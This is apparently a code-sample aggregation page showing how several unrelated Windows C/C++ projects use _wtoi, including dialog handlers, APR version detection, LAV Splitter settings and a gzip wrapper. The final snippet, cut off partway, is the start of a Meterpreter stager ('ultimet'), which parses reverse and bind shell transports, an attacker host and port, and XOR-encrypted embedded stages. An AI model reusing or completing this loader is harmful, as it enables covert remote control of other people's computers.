			SendDlgItemMessage(hDlg, IDC_LISTMULTIPLE, LB_RESETCONTENT, NULL, NULL);
		}
		break;
		case IDC_BTNGETCOUNT:
		{
			int count = SendDlgItemMessage(hDlg, IDC_LISTMULTIPLE, LB_GETCOUNT, NULL, NULL);
			TCHAR str[50];
			wsprintf(str, TEXT("Всего %d элементов"), count);
			MessageBox(NULL, str, TEXT("Информация"), MB_OK);
		}
		break;
		case IDC_EXIT:
			SendMessage(hDlg, WM_CLOSE, NULL, NULL);
			break;
		}
		return TRUE;
	case WM_CLOSE:
		EndDialog(hDlg, 0);
		return TRUE;	
	}
	return FALSE;
}
Example #7
0
File: misc.c Project: ATCP/mtcp
apr_status_t apr_get_oslevel(apr_oslevel_e *level)
{
    if (apr_os_level == APR_WIN_UNK) 
    {
        static OSVERSIONINFO oslev;
        oslev.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
        GetVersionEx(&oslev);

        if (oslev.dwPlatformId == VER_PLATFORM_WIN32_NT) 
        {
            static unsigned int servpack = 0;
            TCHAR *pservpack;
            if ((pservpack = oslev.szCSDVersion)) {
                while (*pservpack && !apr_isdigit(*pservpack)) {
                    pservpack++;
                }
                if (*pservpack)
#ifdef _UNICODE
                    servpack = _wtoi(pservpack);
#else
                    servpack = atoi(pservpack);
#endif
            }

            if (oslev.dwMajorVersion < 3) {
                apr_os_level = APR_WIN_UNSUP;
            }
            else if (oslev.dwMajorVersion == 3) {
                if (oslev.dwMajorVersion < 50) {
                    apr_os_level = APR_WIN_UNSUP;
                }
                else if (oslev.dwMajorVersion == 50) {
                    apr_os_level = APR_WIN_NT_3_5;
                }
                else {
                    apr_os_level = APR_WIN_NT_3_51;
                }
            }
            else if (oslev.dwMajorVersion == 4) {
                if (servpack < 2)
                    apr_os_level = APR_WIN_NT_4;
                else if (servpack <= 2)
                    apr_os_level = APR_WIN_NT_4_SP2;
                else if (servpack <= 3)
                    apr_os_level = APR_WIN_NT_4_SP3;
                else if (servpack <= 4)
                    apr_os_level = APR_WIN_NT_4_SP4;
                else if (servpack <= 5)
                    apr_os_level = APR_WIN_NT_4_SP5;
                else 
                    apr_os_level = APR_WIN_NT_4_SP6;
            }
            else if (oslev.dwMajorVersion == 5) {
                if (oslev.dwMinorVersion == 0) {
                    if (servpack == 0)
                        apr_os_level = APR_WIN_2000;
                    else if (servpack == 1)
                        apr_os_level = APR_WIN_2000_SP1;
                    else
                        apr_os_level = APR_WIN_2000_SP2;
                }
                else if (oslev.dwMinorVersion == 2) {
                    apr_os_level = APR_WIN_2003;
                }
                else {
                    if (servpack < 1)
                        apr_os_level = APR_WIN_XP;
                    else if (servpack == 1)
                        apr_os_level = APR_WIN_XP_SP1;
                    else
                        apr_os_level = APR_WIN_XP_SP2;
                }
            }
            else if (oslev.dwMajorVersion == 6) {
                apr_os_level = APR_WIN_VISTA;
            }
            else {
                apr_os_level = APR_WIN_XP;
            }
        }
#ifndef WINNT
        else if (oslev.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) {
            TCHAR *prevision;
            if (prevision = oslev.szCSDVersion) {
                while (*prevision && !apr_isupper(*prevision)) {
                     prevision++;
                }
            }
            else prevision = _T("");

            if (oslev.dwMinorVersion < 10) {
                if (*prevision < _T('C'))
                    apr_os_level = APR_WIN_95;
                else
                    apr_os_level = APR_WIN_95_OSR2;
            }
            else if (oslev.dwMinorVersion < 90) {
                if (*prevision < _T('A'))
                    apr_os_level = APR_WIN_98;
                else
                    apr_os_level = APR_WIN_98_SE;
            }
            else {
                apr_os_level = APR_WIN_ME;
            }
        }
#endif
#ifdef _WIN32_WCE
        else if (oslev.dwPlatformId == VER_PLATFORM_WIN32_CE) 
        {
            if (oslev.dwMajorVersion < 3) {
                apr_os_level = APR_WIN_UNSUP;
            }
            else {
                apr_os_level = APR_WIN_CE_3;
            }
        }
#endif
        else {
            apr_os_level = APR_WIN_UNSUP;
        }
    }

    *level = apr_os_level;

    if (apr_os_level < APR_WIN_UNSUP) {
        return APR_EGENERAL;
    }

    return APR_SUCCESS;
}
Example #8
0
HRESULT CLAVSplitterSettingsProp::OnApplyChanges()
{
  ASSERT(m_pLAVF != nullptr);
  HRESULT hr = S_OK;
  DWORD dwVal;
  BOOL bFlag;

  WCHAR buffer[LANG_BUFFER_SIZE];
  // Save audio language
  SendDlgItemMessage(m_Dlg, IDC_PREF_LANG, WM_GETTEXT, LANG_BUFFER_SIZE, (LPARAM)&buffer);
  CHECK_HR(hr = m_pLAVF->SetPreferredLanguages(buffer));

  // Save subtitle language
  SendDlgItemMessage(m_Dlg, IDC_PREF_LANG_SUBS, WM_GETTEXT, LANG_BUFFER_SIZE, (LPARAM)&buffer);

  if (m_selectedSubMode == LAVSubtitleMode_Advanced) {
    CHECK_HR(hr = m_pLAVF->SetPreferredSubtitleLanguages(m_subLangBuffer));
    CHECK_HR(hr = m_pLAVF->SetAdvancedSubtitleConfig(buffer));
  } else {
    CHECK_HR(hr = m_pLAVF->SetPreferredSubtitleLanguages(buffer));
    CHECK_HR(hr = m_pLAVF->SetAdvancedSubtitleConfig(m_advSubBuffer));
  }

  // Save subtitle mode
  dwVal = (DWORD)SendDlgItemMessage(m_Dlg, IDC_SUBTITLE_MODE, CB_GETCURSEL, 0, 0);
  CHECK_HR(hr = m_pLAVF->SetSubtitleMode((LAVSubtitleMode)dwVal));

  bFlag = (BOOL)SendDlgItemMessage(m_Dlg, IDC_BD_SEPARATE_FORCED_SUBS, BM_GETCHECK, 0, 0);
  CHECK_HR(hr = m_pLAVF->SetPGSForcedStream(bFlag));

  bFlag = (BOOL)SendDlgItemMessage(m_Dlg, IDC_BD_ONLY_FORCED_SUBS, BM_GETCHECK, 0, 0);
  CHECK_HR(hr = m_pLAVF->SetPGSOnlyForced(bFlag));

  int vc1flag = (int)SendDlgItemMessage(m_Dlg, IDC_VC1TIMESTAMP, BM_GETCHECK, 0, 0);
  CHECK_HR(hr = m_pLAVF->SetVC1TimestampMode(vc1flag));

  bFlag = (BOOL)SendDlgItemMessage(m_Dlg, IDC_MKV_EXTERNAL, BM_GETCHECK, 0, 0);
  CHECK_HR(hr = m_pLAVF->SetLoadMatroskaExternalSegments(bFlag));

  bFlag = (BOOL)SendDlgItemMessage(m_Dlg, IDC_SUBSTREAMS, BM_GETCHECK, 0, 0);
  CHECK_HR(hr = m_pLAVF->SetSubstreamsEnabled(bFlag));

  bFlag = (BOOL)SendDlgItemMessage(m_Dlg, IDC_STREAM_SWITCH_REMOVE_AUDIO, BM_GETCHECK, 0, 0);
  CHECK_HR(hr = m_pLAVF->SetStreamSwitchRemoveAudio(bFlag));

  bFlag = (BOOL)SendDlgItemMessage(m_Dlg, IDC_SELECT_AUDIO_QUALITY, BM_GETCHECK, 0, 0);
  CHECK_HR(hr = m_pLAVF->SetPreferHighQualityAudioStreams(bFlag));

  bFlag = (BOOL)SendDlgItemMessage(m_Dlg, IDC_IMPAIRED_AUDIO, BM_GETCHECK, 0, 0);
  CHECK_HR(hr = m_pLAVF->SetUseAudioForHearingVisuallyImpaired(bFlag));

  SendDlgItemMessage(m_Dlg, IDC_QUEUE_MEM, WM_GETTEXT, LANG_BUFFER_SIZE, (LPARAM)&buffer);
  int maxMem = _wtoi(buffer);
  CHECK_HR(hr = m_pLAVF->SetMaxQueueMemSize(maxMem));

  SendDlgItemMessage(m_Dlg, IDC_QUEUE_PACKETS, WM_GETTEXT, LANG_BUFFER_SIZE, (LPARAM)&buffer);
  int maxPackets = _wtoi(buffer);
  CHECK_HR(hr = m_pLAVF->SetMaxQueueSize(maxPackets));

  SendDlgItemMessage(m_Dlg, IDC_STREAM_ANADUR, WM_GETTEXT, LANG_BUFFER_SIZE, (LPARAM)&buffer);
  int duration = _wtoi(buffer);
  CHECK_HR(hr = m_pLAVF->SetNetworkStreamAnalysisDuration(duration));

  bFlag = (BOOL)SendDlgItemMessage(m_Dlg, IDC_TRAYICON, BM_GETCHECK, 0, 0);
  CHECK_HR(hr = m_pLAVF->SetTrayIcon(bFlag));

  LoadData();

done:    
  return hr;
}
Example #9
0
int _tmain(int argc, _TCHAR* argv[])
{
	int compression_level = 10;
	HMODULE gzip = NULL;
	
	for (int i = 1; i < argc; i++)
	{
		auto arg = argv[i];
		if (wcslen(arg) > 1 && arg[0] == '-')
		{
			auto opt = arg[1];

			if (opt >= L'0' && opt <= L'9')
			{
				compression_level = _wtoi(arg + 1);
				if (compression_level < 0 || compression_level > 10) compression_level = 10;
			}
			else if (opt == L'd')
			{
				gzip = LoadLibrary(arg + 2);
				if (gzip == NULL) Error("Error loading gzip dll");
			}
		}
	}

	if (gzip == NULL)
	{
		auto gzip_env_path = L"%Windir%\\system32\\inetsrv\\gzip.dll";
		wchar_t gzip_path[256];
		auto path_len = ExpandEnvironmentStrings(gzip_env_path, gzip_path, 255);
		if (path_len == 0 || path_len > 255) Error("Error expanding gzip.dll path");
		gzip = LoadLibrary(gzip_path);
		if (gzip == NULL) Error("Error loading gzip.dll");
	}

	auto ProcInitCompression = (InitCompression)GetProcAddress(gzip, "InitCompression");
	if (ProcInitCompression == NULL) Error("Error getting address of InitCompression()");
	auto ProcCreateCompression = (CreateCompression)GetProcAddress(gzip, "CreateCompression");
	if (ProcCreateCompression == NULL) Error("Error getting address of CreateCompression()");
	auto ProcCompress = (Compress)GetProcAddress(gzip, "Compress");
	if (ProcCompress == NULL) Error("Error getting address of Compress()");
	auto ProcDestroyCompression = (DestroyCompression)GetProcAddress(gzip, "DestroyCompression");
	if (ProcDestroyCompression == NULL) Error("Error getting address of DestroyCompression()");
	auto ProcDeInitCompression = (DeInitCompression)GetProcAddress(gzip, "DeInitCompression");
	if (ProcDeInitCompression == NULL) Error("Error getting address of DeInitCompression()");

	if (_setmode(_fileno(stdin), _O_BINARY) < 0) Error("Error setting stdin to binary mode");
	if (_setmode(_fileno(stdout), _O_BINARY) < 0) Error("Error setting stdout to binary mode");

	PVOID compression_context;
	auto input_buf = new byte[buffer_size];
	if (input_buf == NULL) Error("Error getting input buffer");
	auto output_buf = new byte[buffer_size];
	if (output_buf == NULL) Error("Error getting output buffer");
	if (ProcInitCompression() != S_OK) Error("Error calling InitCompression()");
	// set reserved to 1 to enable gzip file format
	if (ProcCreateCompression(&compression_context, 1) != S_OK) Error("Error calling CreateCompression()");
	LONG input_used = 0, output_used = 0, bytes_compressed = 0;
	HRESULT compression_result;
	size_t bytes_read = 0;

	do
	{
		if (!feof(stdin) && (bytes_compressed == bytes_read))
		{
			bytes_compressed = 0;
			bytes_read = fread_s(input_buf, buffer_size, 1, buffer_size, stdin);
			if (ferror(stdin)) Error("Error reading from stdin");
		}

		compression_result = ProcCompress(compression_context, input_buf + bytes_compressed, (LONG)(bytes_read - bytes_compressed), output_buf, buffer_size, &input_used, &output_used, compression_level);

		bytes_compressed += input_used;

		if (output_used > 0)
		{
			auto bytes_written = fwrite(output_buf, 1, output_used, stdout);
			if (ferror(stdout)) Error("Error writing to stdout");
		}
	} 
	while (compression_result == S_OK);

	if (compression_result != S_FALSE) Error("Error compressing data");

	ProcDestroyCompression(compression_context);
	ProcDeInitCompression();

	return 0;
}
Example #10
0
NTSTATUS
NTAPI
InitVideo()
{
    ULONG iDevNum, iVGACompatible = -1, ulMaxObjectNumber = 0;
    WCHAR awcDeviceName[20];
    WCHAR awcBuffer[256];
    NTSTATUS Status;
    PGRAPHICS_DEVICE pGraphicsDevice;
    ULONG cbValue;
    HKEY hkey;

    TRACE("----------------------------- InitVideo() -------------------------------\n");

    /* Open the key for the boot command line */
    Status = RegOpenKey(L"\\REGISTRY\\MACHINE\\SYSTEM\\CurrentControlSet\\Control", &hkey);
    if (NT_SUCCESS(Status))
    {
        cbValue = 256;
        Status = RegQueryValue(hkey, L"SystemStartOptions", REG_SZ, awcBuffer, &cbValue);
        if (NT_SUCCESS(Status))
        {
            /* Check if VGA mode is requested. */
            if (wcsstr(awcBuffer, L"BASEVIDEO") != 0)
            {
                ERR("VGA mode requested.\n");
                gbBaseVideo = TRUE;
            }
        }

        ZwClose(hkey);
    }

    /* Open the key for the adapters */
    Status = RegOpenKey(KEY_VIDEO, &hkey);
    if (!NT_SUCCESS(Status))
    {
        ERR("Could not open HARDWARE\\DEVICEMAP\\VIDEO registry key:0x%lx\n", Status);
        return Status;
    }

    /* Read the name of the VGA adapter */
    cbValue = 20;
    Status = RegQueryValue(hkey, L"VgaCompatible", REG_SZ, awcDeviceName, &cbValue);
    if (NT_SUCCESS(Status))
    {
        iVGACompatible = _wtoi(&awcDeviceName[13]);
        ERR("VGA adapter = %ld\n", iVGACompatible);
    }

    /* Get the maximum mumber of adapters */
    if (!RegReadDWORD(hkey, L"MaxObjectNumber", &ulMaxObjectNumber))
    {
        ERR("Could not read MaxObjectNumber, defaulting to 0.\n");
    }

    TRACE("Found %ld devices\n", ulMaxObjectNumber + 1);

    /* Loop through all adapters */
    for (iDevNum = 0; iDevNum <= ulMaxObjectNumber; iDevNum++)
    {
        /* Create the adapter's key name */
        swprintf(awcDeviceName, L"\\Device\\Video%lu", iDevNum);

        /* Read the reg key name */
        cbValue = sizeof(awcBuffer);
        Status = RegQueryValue(hkey, awcDeviceName, REG_SZ, awcBuffer, &cbValue);
        if (!NT_SUCCESS(Status))
        {
            ERR("failed to query the registry path:0x%lx\n", Status);
            continue;
        }

        /* Initialize the driver for this device */
        pGraphicsDevice = InitDisplayDriver(awcDeviceName, awcBuffer);
        if (!pGraphicsDevice) continue;

        /* Check if this is a VGA compatible adapter */
        if (pGraphicsDevice->StateFlags & DISPLAY_DEVICE_VGA_COMPATIBLE)
        {
            /* Save this as the VGA adapter */
            if (!gpVgaGraphicsDevice)
                gpVgaGraphicsDevice = pGraphicsDevice;
            TRACE("gpVgaGraphicsDevice = %p\n", gpVgaGraphicsDevice);
        }
        else
        {
            /* Set the first one as primary device */
            if (!gpPrimaryGraphicsDevice)
                gpPrimaryGraphicsDevice = pGraphicsDevice;
            TRACE("gpPrimaryGraphicsDevice = %p\n", gpPrimaryGraphicsDevice);
        }
    }

    /* Close the device map registry key */
    ZwClose(hkey);

    /* Was VGA mode requested? */
    if (gbBaseVideo)
    {
        /* Check if we found a VGA compatible device */
        if (gpVgaGraphicsDevice)
        {
            /* Set the VgaAdapter as primary */
            gpPrimaryGraphicsDevice = gpVgaGraphicsDevice;
            // FIXME: DEVMODE
        }
        else
        {
            ERR("Could not find VGA compatible driver. Trying normal.\n");
        }
    }

    /* Check if we had any success */
    if (!gpPrimaryGraphicsDevice)
    {
        /* Check if there is a VGA device we skipped */
        if (gpVgaGraphicsDevice)
        {
            /* There is, use the VGA device */
            gpPrimaryGraphicsDevice = gpVgaGraphicsDevice;
        }
        else
        {
            ERR("No usable display driver was found.\n");
            return STATUS_UNSUCCESSFUL;
        }
    }

    InitSysParams();

    return 1;
}
Example #11
0
INT_PTR CLAVSplitterSettingsProp::OnReceiveMessage(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
  switch (uMsg)
  {
  case WM_COMMAND:
    // Mark the page dirty if the text changed
    if(HIWORD(wParam) == EN_CHANGE
      && (LOWORD(wParam) == IDC_PREF_LANG || LOWORD(wParam) == IDC_PREF_LANG_SUBS)) {

        WCHAR buffer[LANG_BUFFER_SIZE];
        SendDlgItemMessage(m_Dlg, LOWORD(wParam), WM_GETTEXT, LANG_BUFFER_SIZE, (LPARAM)&buffer);

        int dirty = 0;
        WCHAR *source = nullptr;
        if(LOWORD(wParam) == IDC_PREF_LANG) {
          source = m_pszPrefLang;
        } else {
          source = (m_selectedSubMode == LAVSubtitleMode_Advanced) ? m_pszAdvSubConfig : m_pszPrefSubLang;
        }

        if (source) {
          dirty = _wcsicmp(buffer, source);
        } else {
          dirty = (int)wcslen(buffer);
        }

        if(dirty != 0) {
          SetDirty();
        }
    } else if (HIWORD(wParam) == CBN_SELCHANGE && LOWORD(wParam) == IDC_SUBTITLE_MODE) {
      DWORD dwVal = (DWORD)SendDlgItemMessage(m_Dlg, IDC_SUBTITLE_MODE, CB_GETCURSEL, 0, 0);
      UpdateSubtitleMode((LAVSubtitleMode)dwVal);
      if (dwVal != m_subtitleMode) {
        SetDirty();
      }
    } else if (HIWORD(wParam) == BN_CLICKED && LOWORD(wParam) == IDC_BD_SEPARATE_FORCED_SUBS) {
      BOOL bFlag = (BOOL)SendDlgItemMessage(m_Dlg, IDC_BD_SEPARATE_FORCED_SUBS, BM_GETCHECK, 0, 0);
      if (bFlag != m_PGSForcedStream) {
        SetDirty();
      }
    } else if (HIWORD(wParam) == BN_CLICKED && LOWORD(wParam) == IDC_BD_ONLY_FORCED_SUBS) {
      BOOL bFlag = (BOOL)SendDlgItemMessage(m_Dlg, IDC_BD_ONLY_FORCED_SUBS, BM_GETCHECK, 0, 0);
      if (bFlag != m_PGSOnlyForced) {
        SetDirty();
      }
    } else if (HIWORD(wParam) == BN_CLICKED && LOWORD(wParam) == IDC_VC1TIMESTAMP) {
      int iFlag = (int)SendDlgItemMessage(m_Dlg, IDC_VC1TIMESTAMP, BM_GETCHECK, 0, 0);
      if (iFlag != m_VC1Mode) {
        SetDirty();
      }
    }  else if (HIWORD(wParam) == BN_CLICKED && LOWORD(wParam) == IDC_MKV_EXTERNAL) {
      BOOL bFlag = (BOOL)SendDlgItemMessage(m_Dlg, IDC_MKV_EXTERNAL, BM_GETCHECK, 0, 0);
      if (bFlag != m_MKVExternal) {
        SetDirty();
      }
    } else if (HIWORD(wParam) == BN_CLICKED && LOWORD(wParam) == IDC_SUBSTREAMS) {
      BOOL bFlag = (BOOL)SendDlgItemMessage(m_Dlg, IDC_SUBSTREAMS, BM_GETCHECK, 0, 0);
      if (bFlag != m_substreams) {
        SetDirty();
      }
    } else if (HIWORD(wParam) == BN_CLICKED && LOWORD(wParam) == IDC_STREAM_SWITCH_REMOVE_AUDIO) {
      BOOL bFlag = (BOOL)SendDlgItemMessage(m_Dlg, IDC_STREAM_SWITCH_REMOVE_AUDIO, BM_GETCHECK, 0, 0);
      if (bFlag != m_StreamSwitchRemoveAudio) {
        SetDirty();
      }
    }  else if (HIWORD(wParam) == BN_CLICKED && LOWORD(wParam) == IDC_SELECT_AUDIO_QUALITY) {
      BOOL bFlag = (BOOL)SendDlgItemMessage(m_Dlg, IDC_SELECT_AUDIO_QUALITY, BM_GETCHECK, 0, 0);
      if (bFlag != m_PreferHighQualityAudio) {
        SetDirty();
      }
    }  else if (HIWORD(wParam) == BN_CLICKED && LOWORD(wParam) == IDC_IMPAIRED_AUDIO) {
      BOOL bFlag = (BOOL)SendDlgItemMessage(m_Dlg, IDC_IMPAIRED_AUDIO, BM_GETCHECK, 0, 0);
      if (bFlag != m_ImpairedAudio) {
        SetDirty();
      }
    } else if (HIWORD(wParam) == BN_CLICKED && LOWORD(wParam) == IDC_TRAYICON) {
      BOOL bFlag = (BOOL)SendDlgItemMessage(m_Dlg, IDC_TRAYICON, BM_GETCHECK, 0, 0);
      if (bFlag != m_TrayIcon) {
        SetDirty();
      }
    } else if (LOWORD(wParam) == IDC_QUEUE_MEM && HIWORD(wParam) == EN_CHANGE) {
      WCHAR buffer[100];
      SendDlgItemMessage(m_Dlg, LOWORD(wParam), WM_GETTEXT, 100, (LPARAM)&buffer);
      int maxMem = _wtoi(buffer);
      size_t len = wcslen(buffer);
      if (maxMem == 0 && (buffer[0] != L'0' || len > 1)) {
        SendDlgItemMessage(m_Dlg, LOWORD(wParam), EM_UNDO, 0, 0);
      } else {
        swprintf_s(buffer, L"%d", maxMem);
        if (wcslen(buffer) != len)
          SendDlgItemMessage(m_Dlg, IDC_QUEUE_MEM, WM_SETTEXT, 0, (LPARAM)buffer);
        if (maxMem != m_QueueMaxMem)
          SetDirty();
      }
    } else if (LOWORD(wParam) == IDC_QUEUE_PACKETS && HIWORD(wParam) == EN_CHANGE) {
      WCHAR buffer[100];
      SendDlgItemMessage(m_Dlg, LOWORD(wParam), WM_GETTEXT, 100, (LPARAM)&buffer);
      int maxMem = _wtoi(buffer);
      size_t len = wcslen(buffer);
      if (maxMem == 0 && (buffer[0] != L'0' || len > 1)) {
        SendDlgItemMessage(m_Dlg, LOWORD(wParam), EM_UNDO, 0, 0);
      } else {
        swprintf_s(buffer, L"%d", maxMem);
        if (wcslen(buffer) != len)
          SendDlgItemMessage(m_Dlg, IDC_QUEUE_PACKETS, WM_SETTEXT, 0, (LPARAM)buffer);
        if (maxMem != m_QueueMaxPackets)
          SetDirty();
      }
    } else if (LOWORD(wParam) == IDC_STREAM_ANADUR && HIWORD(wParam) == EN_CHANGE) {
      WCHAR buffer[100];
      SendDlgItemMessage(m_Dlg, LOWORD(wParam), WM_GETTEXT, 100, (LPARAM)&buffer);
      int duration = _wtoi(buffer);
      size_t len = wcslen(buffer);
      if (duration == 0 && (buffer[0] != L'0' || len > 1)) {
        SendDlgItemMessage(m_Dlg, LOWORD(wParam), EM_UNDO, 0, 0);
      } else {
        swprintf_s(buffer, L"%d", duration);
        if (wcslen(buffer) != len)
          SendDlgItemMessage(m_Dlg, IDC_STREAM_ANADUR, WM_SETTEXT, 0, (LPARAM)buffer);
        if (duration != m_NetworkAnalysisDuration)
          SetDirty();
      }
    }
    break;
  }
  // Let the parent class handle the message.
  return __super::OnReceiveMessage(hwnd, uMsg, wParam, lParam);
}
Example #12
0
BOOL CRuleCountDlg::OnInitDialog()
{
    CDialog::OnInitDialog();

    int i,j,k,nRow=0,nTotalRestructuringRules=0,nTotalDescriptiveRules=0;
    CString R,S,T;
    wchar_t c[10];
    CDTData RowData;                 //create a special grid variable

    RowData.CreateArray(3);          //create a special array to hold a row of data
    try {
        m_starChapters.SetSize(200);
    }
    catch(CMemoryException*)
    {
        AfxMessageBox(L"Memory exception for Chapters array.",MB_OK);
    }
    try {
        m_starRestructuringRules.SetSize(200);
    }
    catch(CMemoryException*)
    {
        AfxMessageBox(L"Memory exception for Transfer Rules array.",MB_OK);
    }
    try {
        m_starDescriptiveRules.SetSize(200);
    }
    catch(CMemoryException*)
    {
        AfxMessageBox(L"Memory exception for Descriptive Rules array.",MB_OK);
    }
    m_datatblRuleCount.GetColumnSet().GetItem(2).SetHeading(L"Synthesizing Rules");
    T=m_pDoc->GetRuleCount();
    while (T!=L"")
    {
        i=T.Find(L"^");
        if (i>-1)
        {
            S=T.Left(i);
            T=T.Mid(i+1);
        }
        else
        {
            S=T;
            T=L"";
        }
        i=S.Find(L",");
        R=S.Left(i);     //get the chapter
        S=S.Mid(i+1);
        m_starChapters[nRow]=R;
        i=S.Find(L",");
        R=S.Left(i);     //get the restructuring rule count
        S=S.Mid(i+1);
        m_starRestructuringRules[nRow]=R;
        m_starDescriptiveRules[nRow]=S;
        nRow++;
    }
    if (m_starChapters[0]==L"Nouns 1" && m_starChapters[1]==L"Verbs 1" && m_starChapters[2]==L"Adjectives 1" && m_starChapters[3]==L"Adverbs 1" && m_starChapters[4]==L"Adpositions 1" && m_starChapters[5]==L"Pronouns 1" && m_starChapters[6]==L"Noun Phrases 1" && m_starChapters[7]==L"Clauses 1" && m_starChapters[8]==L"Discourse 1" && m_starChapters[9]==L"Theta Grids 1")
    {
        for (i=9; i<nRow; i++)
        {
            m_starChapters[i-9]=m_starChapters[i];
            m_starRestructuringRules[i-9]=m_starRestructuringRules[i];
            m_starDescriptiveRules[i-9]=m_starDescriptiveRules[i];
        }
        m_starChapters[0]=L"Grammar Introduction";
        nRow-=9;
    }
    for (i=0; i<nRow; i++)
    {
        R=m_starChapters[i];
        S=m_starRestructuringRules[i];
        j=_wtoi(S);                      //get the new total for the restructuring rules
        k=j-nTotalRestructuringRules;   //get the number of new restructuring rules
        nTotalRestructuringRules=j;     //save new total
        _itow(k,c,10);
        S=c;
        T=m_starDescriptiveRules[i];
        j=_wtoi(T);                      //get the new total for the descriptive rules
        k=j-nTotalDescriptiveRules;     //get the number of new descriptive rules
        nTotalDescriptiveRules=j;       //save new total
        _itow(k,c,10);
        T=c;
        RowData.PutItem(R, 0);     //enter a string for the first column
        RowData.PutItem(S, 1);     //enter a string for the first column
        RowData.PutItem(T, 2);     //enter a string for the first column
        m_datatblRuleCount.GetRowSet().GetItem(i).SetValue(RowData); //add row to end of table
    }
    m_datatblRuleCount.GetRowSet().SetCount(i);

    return TRUE;  // return TRUE unless you set the focus to a control
    // EXCEPTION: OCX Property Pages should return FALSE
}
int wmain(int argc, wchar_t *argv[])
{
	PAYLOAD_SETTINGS payload_settings = {0};	// That's defined at main.h
	unsigned char* buffer = nullptr;			// This will hold the loaded stage
	unsigned char* TempBuffer = nullptr;		// This will have stuff set-up "like the socket", then the stage will be copied over.
	DWORD bufferSize = 0;						// buffer length
	DWORD StageSize = 0;						// if we're using encryption ... stage size = (bufferSize - 16) 
	DWORD index = 0;							// will be used to locate offset of stuff to be patched "transport, the url ... etc."
	char EncKey[17] = {0};						// XOR Encryption key
	void (*function)() = nullptr;				// The casted-to-be-function after we have everything in place.
	bool FallbackToStager = false;				// If the stage is not bundled in the exe as a resource, or "-f" is not specified, ultimet falls back to work as a stager: if this is true, metsvc will not be availabe. 
	bool metsvc = false;						// Is metsvc chosen as the transport? this will only work if we have the stage upfront, otherwise it will fail.
	bool bBind = false;							// Are we bind payload?.
	bool MSFPAYLOAD = false;					// Create a msfpayload-like exe instead of executing? 
	int err = 0;								// Errors
	wchar_t UNICODEtransport_2[64] = {0};		// Sorry, I'm out of variable names ...

	//If we will get options from resource
	wchar_t UNICODEtransport[64] = {0};
	wchar_t UNICODElhost[128] = {0};
	wchar_t UNICODElport[32] = {0};

	char ANSItransport[64] = {0};
	char ANSIlhost[128] = {0};
	char ANSIlport[32] = {0};

	//If "-f" is specified (load stage from local file)
	wchar_t StageFilePath[MAX_PATH] = {0};		// If the stage is going to be loaded from a dll file from the filesystem, path will be put here. 

	// reverse_metsvc specific Variables
	SOCKET ConnectSocket = INVALID_SOCKET;		// Socket ... will be used for reverse_metsvc and reverse_tcp

	// HTTP(S) Specific Variables
	char url[512] = {0};	//Full URL, 512 bytes are enough. 
	/*************
	Program Start
	**************/

	//This will be used later for deciding if we can get options from resource...
	BOOL validTransport = false;
	if(GetOptionsFromResource(UNICODEtransport,UNICODElhost,UNICODElport)) //
		validTransport = IsThisAValidTransport(UNICODEtransport);


	///////////////////////////////// Parsing from command line ///////////////////////////////////
	if(argc>1) //Parsing options from resource failed, let's parse options from command line 
	{
		print_header();								// as it sounds...

		// Is `--reset` been given as the first argument?
		// if yes, we'll copy ourselfs to a file called `ultimet_reset.exe`, then update the options resource to its default
		if(wcscmp(argv[1],L"--reset") == 0)
		{
			dprintf(L"[*] Creating a `clean` ultimet copy with all options reset to default ... \n");
			CopyFile(argv[0],L"ultimet_reset.exe",FALSE);
			ResourceOptionsReset();
			exit(1);
		}

		// Is `--remove-stage` been given as the first argument?
		// if yes, we'll copy ourselfs to a file called `ultimet_lite.exe`, then update the remove resource that contains the stage.
		if(wcscmp(argv[1],L"--remove-stage") == 0)
		{
			dprintf(L"[*] Creating a new file with stage removed... \n");
			CopyFile(argv[0],L"ultimet_no_stage.exe",FALSE);
			RemoveStage();
			exit(1);
		}
		// Parse command line arguments, Fill the PAYLOAD_SETTINGS struct et'all... idea from "http://www.cplusplus.com/forum/articles/13355/"
		for (int i = 1; i < argc; i++) 
		{
			if (i != argc) // Check that we haven't finished parsing already
				if (wcscmp(argv[i], L"-t") == 0) { //Transport; available options are reverse_tcp, reverse_metsvc, REVERSE_HTTP, REVERSE_HTTPS ... case doesn't matter.
					payload_settings.TRANSPORT = argv[i + 1];
					_wcsupr(payload_settings.TRANSPORT);  // Wide-String-to-uppercase
					wcscpy(UNICODEtransport_2,payload_settings.TRANSPORT); //we will use UNICODEtransport_2 if we've been asked to do msfpayload
					if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_TCP") == 0) 
					{
						payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
					}
					else if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_METSVC") == 0)
					{
						payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
						metsvc = true;
					}
					else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTP") == 0)
					{
						payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTP";
					}
					else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTPS") == 0)
					{
						payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTPS";
					}
					else if (wcscmp(payload_settings.TRANSPORT,L"BIND_TCP") == 0)
					{
						payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
						bBind = true;
					}
					else if (wcscmp(payload_settings.TRANSPORT,L"BIND_METSVC") == 0)
					{
						payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
						metsvc = true;
						bBind = true;
					}

					else {
						dprintf(L"[-] Unknown transport: \"%s\"\n[-] Valid transports are reverse_tcp, reverse_metsvc, reverse_http,", payload_settings.TRANSPORT);
						dprintf(L"\n    reverse_https, bind_tcp and bind_metsvc.\n");  
						exit(1);
					}

					// End of Transport checks
				} else if (wcscmp(argv[i], L"-h") == 0) {		//LHOST
					payload_settings.LHOST = argv[i + 1];
				} else if (wcscmp(argv[i], L"-p") == 0) {		//LPORT
					payload_settings.LPORT = argv[i + 1];
				} else if (wcscmp(argv[i], L"-ct") == 0) {		//SessionCommunicationTimeout in seconds - 300 by default
					payload_settings.comm_timeout = _wtoi(argv[i + 1]);
				} else if (wcscmp(argv[i], L"-et") == 0) {		//SessionExpirationTimeout in seconds - 604800 by default
					payload_settings.expiration_timeout = _wtoi(argv[i + 1]);
				}  else if (wcscmp(argv[i], L"-ua") == 0) {		//USER_AGENT
					payload_settings.USER_AGENT = argv[i + 1];
